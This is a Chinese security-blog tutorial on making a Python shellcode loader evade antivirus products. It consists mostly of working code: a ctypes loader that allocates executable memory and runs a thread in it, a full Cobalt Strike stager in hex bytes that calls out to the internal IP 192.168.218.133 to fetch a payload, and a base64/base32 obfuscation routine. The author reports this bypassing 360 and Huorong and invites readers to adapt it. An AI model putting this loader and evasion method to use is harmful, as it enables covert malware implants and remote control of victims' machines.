【免杀】python免杀过国内主流杀软

admin 2022年8月11日12:52:52安全文章评论21 views10082字阅读33分36秒阅读模式

python免杀过国内主流杀软

【免杀】python免杀过国内主流杀软

python基础

本文使用python来进行免杀,所以需要提前了解一些python的基础【写给小白朋友】

exec函数

 exec函数是python的内置函数,用来执行python命令,实例如下:

exec("print(1)") #输出结果:1exec("a=1") #定义变量a,其值为1

 这个函数我们之后会用到,我们可以配合加密来完成代码混淆这一步骤。

 此外,exec函数支持多行python代码的执行,而另一个函数eval()仅支持单行python代码的执行。exec函数所执行的代码可以是多行的,如下:

exec("""def func():           print('Hello World!')""")
func() # 输出:Hello World!

文件的读取和写入

 我们这次的加载器需要使用到文件方式的分离免杀,所以掌握文件的读取和写入十分重要。

 python的文件读取和写入异常简单,相比于C++等语言来说十分方便。

 首先了解open函数,open()用于打开文件,open函数的实例身上有read函数等等方法来实现文件的操作。看下实例代码

f = open('a.txt', 'wr') # 读取文件a.txt,第二个参数代表write+read,即写和读的权限print(f.read()) # 读取并输出a.txt里的内容f.write('xxx') # 向a.txt内写入内容f.close() # 断开连接,节省内存

至此你已经学会了python的文件读取和写入,学这么些就够了

python简单加密

常见的加密有base64(简称b64),xor加密,和更复杂的例如AES,DES等加密方式。

python中有一个类库叫做base64,但是base64库不仅能够加解密b64,还支持b32,b16等方式,看下实例代码,注释写得很详细了。

import base64 # 导入base64类库shellcode = 'plain text' # 要加密的内容
t = base64.b64encode(shellcode.encode('UTF-8')) # 通过base64方式加密字符串变量shellcode,存入变量tprint(t) # 输出t
print(base64.b64decode(t)) # 输出base64解密t后的结果
# 其他的加密方式也基本一样,如下:base64.b16encode(xxx) # base16加密base64.b16decode(xxx) # base16解密
# 多层加密的方式也基本一样,如下:base64.b64encode(base64.b32encode(xxxx))

 至此你已经学会了python的基本加密操作,其中我们会用到多层加密来实现对于shellcode和加载器本体的混淆。


利用python进行免杀

学习完python的基础知识后,就进入了我们的重头戏,利用python进行免杀。

常规的shellcode loader的思路就是所谓的“三部曲”:

1.为shellcode开辟内存空间

2.将shellcode载入这段内存空间

3.执行这段内存空间

这一部分并不是我们的重点,我们的重点是对现有的shellcode loader进行加密改造,所以我们使用网上现成的加载器。

import ctypesimport base64def shellCodeLoad(shellcode):    ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64    ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000),ctypes.c_int(0x40))    buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)    eval(base64.b64decode("Y3R5cGVzLndpbmRsbC5rZXJuZWwzMi5SdGxNb3ZlTWVtb3J5KGN0eXBlcy5jX3VpbnQ2NChwdHIpLGJ1ZixjdHlwZXMuY19pbnQobGVuKHNoZWxsY29kZSkpKQ=="))    handle = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),ctypes.c_int(0),ctypes.c_uint64(ptr),ctypes.c_int(0),ctypes.c_int(0),ctypes.pointer(ctypes.c_int(0)))    ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle), ctypes.c_int(-1))if __name__ == "__main__":        buf = b"xfcx48x83xe4xf0xe8xc8x00x00x00x41x51x41x50x52x51x56x48x31xd2x65x48x8bx52x60x48x8bx52x18x48x8bx52x20x48x8bx72x50x48x0fxb7x4ax4ax4dx31xc9x48x31xc0xacx3cx61x7cx02x2cx20x41xc1xc9x0dx41x01xc1xe2xedx52x41x51x48x8bx52x20x8bx42x3cx48x01xd0x66x81x78x18x0bx02x75x72x8bx80x88x00x00x00x48x85xc0x74x67x48x01xd0x50x8bx48x18x44x8bx40x20x49x01xd0xe3x56x48xffxc9x41x8bx34x88x48x01xd6x4dx31xc9x48x31xc0xacx41xc1xc9x0dx41x01xc1x38xe0x75xf1x4cx03x4cx24x08x45x39xd1x75xd8x58x44x8bx40x24x49x01xd0x66x41x8bx0cx48x44x8bx40x1cx49x01xd0x41x8bx04x88x48x01xd0x41x58x41x58x5ex59x5ax41x58x41x59x41x5ax48x83xecx20x41x52xffxe0x58x41x59x5ax48x8bx12xe9x4fxffxffxffx5dx6ax00x49xbex77x69x6ex69x6ex65x74x00x41x56x49x89xe6x4cx89xf1x41xbax4cx77x26x07xffxd5x48x31xc9x48x31xd2x4dx31xc0x4dx31xc9x41x50x41x50x41xbax3ax56x79xa7xffxd5xebx73x5ax48x89xc1x41xb8x75x03x00x00x4dx31xc9x41x51x41x51x6ax03x41x51x41xbax57x89x9fxc6xffxd5xebx59x5bx48x89xc1x48x31xd2x49x89xd8x4dx31xc9x52x68x00x02x40x84x52x52x41xbaxebx55x2ex3bxffxd5x48x89xc6x48x83xc3x50x6ax0ax5fx48x89xf1x48x89xdax49xc7xc0xffxffxffxffx4dx31xc9x52x52x41xbax2dx06x18x7bxffxd5x85xc0x0fx85x9dx01x00x00x48xffxcfx0fx84x8cx01x00x00xebxd3xe9xe4x01x00x00xe8xa2xffxffxffx2fx54x32x62x75x00x92xfbxcbx71x9axfbx11x84x88x42x2fx49xa5x7ex93xd2x2dx02x67xcex5ex75x24x36x9dx78xfdx20xbax2fx7cx6cxfcx63x01x9cx9fx93x2fxb9x1bx5exe5x41x96x18x5dxe2x6bxecx99x20xfaxecx63x08x96x18xaaxebx9axdfxfdx60x49x35x49xeex96x16x65x61x06x00x55x73x65x72x2dx41x67x65x6ex74x3ax20x4dx6fx7ax69x6cx6cx61x2fx35x2ex30x20x28x63x6fx6dx70x61x74x69x62x6cx65x3bx20x4dx53x49x45x20x39x2ex30x3bx20x57x69x6ex64x6fx77x73x20x4ex54x20x36x2ex31x3bx20x57x4fx57x36x34x3bx20x54x72x69x64x65x6ex74x2fx35x2ex30x3bx20x4dx41x41x55x29x0dx0ax00x66x77xcbx29xb1x0dxa2xc8x12x8dx21x69x31xe2x7cx4fx23x6fx2bx32x9cxd0x03x4dx0axc5x35xf3xcexa9xd5xfdx2bxa5xf6x83x43x9bxd2x2ex17xbdxb0x20x60x8cxb6xcax27x7bx39x33xc1x9bx45x03x63x93x06x6cx4exf9x5cx51x47x3exe9xb7xf1xd3x5cxd0xc6xf0xf0x9ax38x53xb8x04x58xd1x56x69x4axcaxfex02xb3xa4x90xcfx45xd3xc9xa2x83x60x9ax42xe7x61xa1xb8x71x34xccx36xa4xe9x3axd8x72x37xd4xf4xbdxa0x0bx12xcex9bxefx5ex09x4fx0dx7bxd4x31x9bxb0x6dx51x47xcdx77x42xe4x3exf8x42x3fx8cxbexaex2bxf9x8exe7xf3x27xc9x15x41xcfxf8x8cx65xdax98x9ex20xaexa9x64x52x1dxb0x7axd4xd7x37x68xdfx7cx66xeex58xcbx62xdcx02x3ax90x64xa7x2cxf0x2ex05x57x4ax9cx22xe1xd4x1fx83x55x88xe7xd5x42xfdx2cx8fxb5x5ax74x8fx81x00x41xbexf0xb5xa2x56xffxd5x48x31xc9xbax00x00x40x00x41xb8x00x10x00x00x41xb9x40x00x00x00x41xbax58xa4x53xe5xffxd5x48x93x53x53x48x89xe7x48x89xf1x48x89xdax41xb8x00x20x00x00x49x89xf9x41xbax12x96x89xe2xffxd5x48x83xc4x20x85xc0x74xb6x66x8bx07x48x01xc3x85xc0x75xd7x58x58x58x48x05x00x00x00x00x50xc3xe8x9fxfdxffxffx31x39x32x2ex31x36x38x2ex32x31x38x2ex31x33x33x00x12x34x56x78"


    shellCodeLoad(bytearray(buf))

简单讲解下:Virtural Alloc函数是用来开辟一段内存空间,通过RtlMoveMemory来把shellcode载入到这段内存中,最后通过CreateThread来创建线程执行这段内存中的内容,通过WaitForSingleObejct来等待执行结束。这是一个非常标准的shellcode loader。

毫无疑问,这个加载器一定会被杀软查杀。都不需要生成exe就被查杀了...

【免杀】python免杀过国内主流杀软


接下来我们把它进行改造。先开发一个加密器,指定一个文件,然后读取文件内容并且把它多层加密输出出来。相信通过刚刚python基础部分的学习,你一定能够开发出来。

我开发的版本如下,你也可以自行改造。我的注释已经写得很清楚了,大家自己学习

import base64 # 导入base64import sys # 导入sys模块,用于获取指定的文件
f = open(sys.argv[1]) # 打开指定的文件,文件名是通过命令行传入的第一个参数t = f.read() # 读取文件内容,存入t变量
encoded = base64.b64encode(base64.b32encode(t.encode('UTF-8'))) # 多层加密,存入encoded变量print(encoded) # 输出
f.close() # 关闭文件,节省内存

测试下效果,没有问题:

【免杀】python免杀过国内主流杀软


接下来我们就要来加密loader代码。通过exec(base64.b64decode(xxx))这种方式就可以巧妙地混淆我们的loader代码,其中用到的所有函数都在前文中教授过,忘记了可以回去复习一下。

提供一下我的代码,大家可以自行改造,同样注释已经很清楚了。

from base64 import b64encode
# 下面是加载器的核心函数code = """def shellCodeLoad(shellcode): ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64 ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000),ctypes.c_int(0x40)) buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode) eval(base64.b64decode("Y3R5cGVzLndpbmRsbC5rZXJuZWwzMi5SdGxNb3ZlTWVtb3J5KGN0eXBlcy5jX3VpbnQ2NChwdHIpLGJ1ZixjdHlwZXMuY19pbnQobGVuKHNoZWxsY29kZSkpKQ==")) handle = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),ctypes.c_int(0),ctypes.c_uint64(ptr),ctypes.c_int(0),ctypes.c_int(0),ctypes.pointer(ctypes.c_int(0))) ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle), ctypes.c_int(-1))"""

# 输出base64加密后的函数代码
print(b64encode(code.encode()))

输出结果是

ZGVmIHNoZWxsQ29kZUxvYWQoc2hlbGxjb2RlKToKICAgIGN0eXBlcy53aW5kbGwua2VybmVsMzIuVmlydHVhbEFsbG9jLnJlc3R5cGUgPSBjdHlwZXMuY191aW50NjQKICAgIHB0ciA9IGN0eXBlcy53aW5kbGwua2VybmVsMzIuVmlydHVhbEFsbG9jKGN0eXBlcy5jX2ludCgwKSwgY3R5cGVzLmNfaW50KGxlbihzaGVsbGNvZGUpKSwgY3R5cGVzLmNfaW50KDB4MzAwMCksY3R5cGVzLmNfaW50KDB4NDApKQogICAgYnVmID0gKGN0eXBlcy5jX2NoYXIgKiBsZW4oc2hlbGxjb2RlKSkuZnJvbV9idWZmZXIoc2hlbGxjb2RlKQogICAgZXZhbChiYXNlNjQuYjY0ZGVjb2RlKCJZM1I1Y0dWekxuZHBibVJzYkM1clpYSnVaV3d6TWk1U2RHeE5iM1psVFdWdGIzSjVLR04wZVhCbGN5NWpYM1ZwYm5RMk5DaHdkSElwTEdKMVppeGpkSGx3WlhNdVkxOXBiblFvYkdWdUtITm9aV3hzWTI5a1pTa3BLUT09IikpCiAgICBoYW5kbGUgPSBjdHlwZXMud2luZGxsLmtlcm5lbDMyLkNyZWF0ZVRocmVhZChjdHlwZXMuY19pbnQoMCksY3R5cGVzLmNfaW50KDApLGN0eXBlcy5jX3VpbnQ2NChwdHIpLGN0eXBlcy5jX2ludCgwKSxjdHlwZXMuY19pbnQoMCksY3R5cGVzLnBvaW50ZXIoY3R5cGVzLmNfaW50KDApKSkKICAgIGN0eXBlcy53aW5kbGwua2VybmVsMzIuV2FpdEZvclNpbmdsZU9iamVjdChjdHlwZXMuY19pbnQoaGFuZGxlKSwgY3R5cGVzLmNfaW50KC0xKSk=

看不懂就对了,杀软也看不懂,也就不会识别,这样我们的shellcode loader就变成这样了:

from base64 import b64decode, b64encode
import ctypes

shellcode = bytearray(b'xfc.........')

exec(b64decode('ZGVmIHNoZWxsQ29kZUxvYWQoc2hlbGxjb2RlKToKICAgIGN0eXBlcy53aW5kbGwua2VybmVsMzIuVmlydHVhbEFsbG9jLnJlc3R5cGUgPSBjdHlwZXMuY191aW50NjQKICAgIHB0ciA9IGN0eXBlcy53aW5kbGwua2VybmVsMzIuVmlydHVhbEFsbG9jKGN0eXBlcy5jX2ludCgwKSwgY3R5cGVzLmNfaW50KGxlbihzaGVsbGNvZGUpKSwgY3R5cGVzLmNfaW50KDB4MzAwMCksY3R5cGVzLmNfaW50KDB4NDApKQogICAgYnVmID0gKGN0eXBlcy5jX2NoYXIgKiBsZW4oc2hlbGxjb2RlKSkuZnJvbV9idWZmZXIoc2hlbGxjb2RlKQogICAgZXZhbChiYXNlNjQuYjY0ZGVjb2RlKCJZM1I1Y0dWekxuZHBibVJzYkM1clpYSnVaV3d6TWk1U2RHeE5iM1psVFdWdGIzSjVLR04wZVhCbGN5NWpYM1ZwYm5RMk5DaHdkSElwTEdKMVppeGpkSGx3WlhNdVkxOXBiblFvYkdWdUtITm9aV3hzWTI5a1pTa3BLUT09IikpCiAgICBoYW5kbGUgPSBjdHlwZXMud2luZGxsLmtlcm5lbDMyLkNyZWF0ZVRocmVhZChjdHlwZXMuY19pbnQoMCksY3R5cGVzLmNfaW50KDApLGN0eXBlcy5jX3VpbnQ2NChwdHIpLGN0eXBlcy5jX2ludCgwKSxjdHlwZXMuY19pbnQoMCksY3R5cGVzLnBvaW50ZXIoY3R5cGVzLmNfaW50KDApKSkKICAgIGN0eXBlcy53aW5kbGwua2VybmVsMzIuV2FpdEZvclNpbmdsZU9iamVjdChjdHlwZXMuY19pbnQoaGFuZGxlKSwgY3R5cGVzLmNfaW50KC0xKSk=').decode())

接下来来处理shellcode

Cobalt Strike 4 生成一段python shellcode。

【免杀】python免杀过国内主流杀软


把完整的shellcode赋值语句加密后存入一个分离的文件中,然后再在loader中读取文件内容解密执行即可。

完整的shellcode赋值语句如下:

shellcode = bytearray(b'xfcx48x83....')

通过我们的encoder来加密一下,然后存入文件code.dat中。

python encoder.py code.dat

接下来再补充一下我们的loader即可,完整如下(完整版注释已写):

# 导入所有工具库from base64 import b32decode, b64decode, b64encodeimport ctypesimport base64
# 从code.dat读取shellcode并解密,分离免杀f = open('code.dat')code = f.read()code = b32decode(b64decode(code))f.close()
# 执行shellcode赋值语句exec(code.decode())
# 定义函数exec(b64decode('ZGVmIHNoZWxsQ29kZUxvYWQoc2hlbGxjb2RlKToKICAgIGN0eXBlcy53aW5kbGwua2VybmVsMzIuVmlydHVhbEFsbG9jLnJlc3R5cGUgPSBjdHlwZXMuY191aW50NjQKICAgIHB0ciA9IGN0eXBlcy53aW5kbGwua2VybmVsMzIuVmlydHVhbEFsbG9jKGN0eXBlcy5jX2ludCgwKSwgY3R5cGVzLmNfaW50KGxlbihzaGVsbGNvZGUpKSwgY3R5cGVzLmNfaW50KDB4MzAwMCksY3R5cGVzLmNfaW50KDB4NDApKQogICAgYnVmID0gKGN0eXBlcy5jX2NoYXIgKiBsZW4oc2hlbGxjb2RlKSkuZnJvbV9idWZmZXIoc2hlbGxjb2RlKQogICAgZXZhbChiYXNlNjQuYjY0ZGVjb2RlKCJZM1I1Y0dWekxuZHBibVJzYkM1clpYSnVaV3d6TWk1U2RHeE5iM1psVFdWdGIzSjVLR04wZVhCbGN5NWpYM1ZwYm5RMk5DaHdkSElwTEdKMVppeGpkSGx3WlhNdVkxOXBiblFvYkdWdUtITm9aV3hzWTI5a1pTa3BLUT09IikpCiAgICBoYW5kbGUgPSBjdHlwZXMud2luZGxsLmtlcm5lbDMyLkNyZWF0ZVRocmVhZChjdHlwZXMuY19pbnQoMCksY3R5cGVzLmNfaW50KDApLGN0eXBlcy5jX3VpbnQ2NChwdHIpLGN0eXBlcy5jX2ludCgwKSxjdHlwZXMuY19pbnQoMCksY3R5cGVzLnBvaW50ZXIoY3R5cGVzLmNfaW50KDApKSkKICAgIGN0eXBlcy53aW5kbGwua2VybmVsMzIuV2FpdEZvclNpbmdsZU9iamVjdChjdHlwZXMuY19pbnQoaGFuZGxlKSwgY3R5cGVzLmNfaW50KC0xKSk=').decode())
# 加载

shellCodeLoad(shellcode)

通过py2exe打包一下,生成一个exe和code.dat,上传靶机。(不建议用pyinstaller,亲子测试发现部分杀软对pyisntaller无条件查杀,建议用Py2exe打包)

【免杀】python免杀过国内主流杀软



免杀效果测试

静态测试免杀360,火绒,均能够正常上线。

【免杀】python免杀过国内主流杀软



【免杀】python免杀过国内主流杀软


【免杀】python免杀过国内主流杀软


这里仅测试部分杀软,defender等杀软请自测,国外杀软需要CS去特征


总结

本文适合有一些编程功底的人看。

这次成功bypass掉了国内的两个主流杀软,其他的杀软请自行测试,国内的杀软基本都能够过掉。

文章把思路都教给大家了,大家不要直接抄文中的代码,把python基础和winapi内容学好,免杀其实并不复杂,关键在于思路。另外还可以自己对源码进行混淆等操作。思路给到大家,自己改改代码,或者拓宽思路来重新写loader,免杀其实很简单。



原文始发于微信公众号(moonsec):【免杀】python免杀过国内主流杀软

特别标注: 本站(CN-SEC.COM)所有文章仅供技术研究,若将其信息做其他用途,由用户承担全部法律及连带责任,本站不承担任何法律及连带责任,请遵守中华人民共和国安全法.
  • 我的微信
  • 微信扫一扫
  • weinxin
  • 我的微信公众号
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年8月11日12:52:52
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                  【免杀】python免杀过国内主流杀软 http://cn-sec.com/archives/1231471.html

发表评论

匿名网友 填写信息

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: